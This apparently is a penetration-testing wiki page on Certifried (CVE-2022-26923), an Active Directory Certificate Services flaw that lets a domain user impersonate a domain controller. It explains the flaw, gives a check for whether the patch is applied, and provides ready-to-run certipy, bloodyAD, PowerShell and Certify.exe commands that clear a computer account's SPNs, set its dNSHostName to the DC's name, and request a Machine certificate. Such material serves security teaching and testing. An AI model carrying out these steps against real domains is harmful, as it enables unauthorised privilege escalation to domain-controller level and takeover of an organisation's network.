Comment on page
Certifried
CVE-2022–26923
Certifried (CVE-2022-26923) is a vulnerability discovered by Oliver Lyak on AD CS that lets a domain-joined user escalate its privileges in the domain.
A domain user creating a computer account obtains the
Validated write to DNS host name
and Validated write to service principal name
permissions (among other rights). Therefore, the user is allowed to change the DNS host name (dNSHostName
) and SPN (servicePrincipalName
) attributes of the computer account.Computer accounts (using the
Machine
template) use the value of the dNSHostName
property for authentication. Attempting to change the dNSHostName
to match another computer account raises a constraint error. In fact, the moment the
dNSHostName
property is edited, the domain controller makes sure to update the existing SPNs of the account so that the "hostname" part of it is updated to the new DNS hostname. If the SPNs already exist for another account in Active Directory, the domain controllers raises the constraint violation.The trick found by Oliver goes as follows:
- 1.clear the SPNs (or at least those that reflect the
dNSHostName
value, i.e. the ones with fully-qualified hostnames, e.g.HOST/SRV01.DOMAIN.LOCAL
) - 2.change to
dNSHostName
to a target's DNS hostname (e.g.DC.DOMAIN.LOCAL
). The constraint violation won't be raised since there won't be any SPN to update - 3.request a certificate for the computer account using the
Machine
template. The Certificate Authority will use thedNSHostName
value for identification and issue a certificate for the Domain Controller. - 4.Authenticate as the DC.
A patch was released in may 2022 to address this vulnerability: more information here and on Certificate mapping.
Requesting a certificate based on the
Machine
(or User
) template can indicate whether the patch has been applied or not. If the certificate object contains an SID (objectSid
), then the patch has been applied.UNIX-like
Machine
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'User'
If Certipy doesn't print
Certificate object SID is [...]
after obtaining the certificate, then the attack can be conducted.Oliver underlined the fact that to fully mitigate the vulnerability, both the KDC and the CA server must be patched.
At the time of writing this recipe, June 2022, no Windows alternative has been found.
The first step of the attack consists in creating a computer account (Broken link, Broken link), or have the write permission to the
dNSHostName
and servicePrincipalName
attributes of another.The second step is conducted by removing the SPNs that reflect the
dNSHostName
value, and then modifying the dNSHostName
to the name of the computer account to impersonate.UNIX-like
Windows
# Clearing the SPNs
bloodyAD.py -d $DOMAIN -u $USER -p $PASSWORD --host $DC_IP setAttribute 'CN=$COMPUTER_NAME,CN=Computers,DC=$DC,DC=$DC' serviceprincipalname '[]'
# Setting the dNSHostName value to the name of a computer account to impersonate
bloodyAD.py -d $DOMAIN -u $USER -p $PASSWORD --host $DC_IP setAttribute 'CN=$COMPUTER_NAME,CN=Computers,DC=$DC,DC=$DC' dnsHostName '["$DC_NAME.$DOMAIN"]'
# Verifying the dNSHostName value and SPN entries
bloodyAD.py -d $DOMAIN -u $USER -p $PASSWORD --host $DC_IP getObjectAttributes 'CN=$COMPUTER_NAME,CN=Computers,DC=$DC,DC=$DC' dnsHostName,serviceprincipalname
Certipy tool can also add a machine account and amend the
dNSHostName
property with the following command liner.# Adding a computer account and setting the dNSHostName to impersonate
certipy account create -u '$USER@DOMAIN' -p '$PASSWORD' -user '$COMPUTER_NAME' -pass '$COMPUTER_PASS' -dns '$DC_NAME.$DOMAIN'
The Domain Components (DC) are the different parts of the domain name (
DC=domain,DC=local
for domain.local
, or DC=sub,DC=domain,DC=local
for sub.domain.local
).# Clearing the SPNs
Set-ADComputer $COMPUTER_NAME -ServicePrincipalName @{}
# Setting the dNSHostName value to the name of a computer account to impersonate
Set-ADComputer $COMPUTER_NAME -DnsHostName $DC_NAME.$DOMAIN_FQDN
# Verifying the dNSHostName value and SPN entries
Get-ADComputer $COMPUTER_NAME -properties dnshostname,serviceprincipalname
The third and last step consists in getting the certificate of the targeted machine account (
$DC_NAME
in the previous command examples).UNIX-like
Windows
certipy req -u 'compter$'@"$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Machine'
By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The
-scheme
flag can be used to set whether to use LDAP or LDAPS.Certify.exe request /ca:"domain\ca" /template:"Machine"
Last modified 4mo ago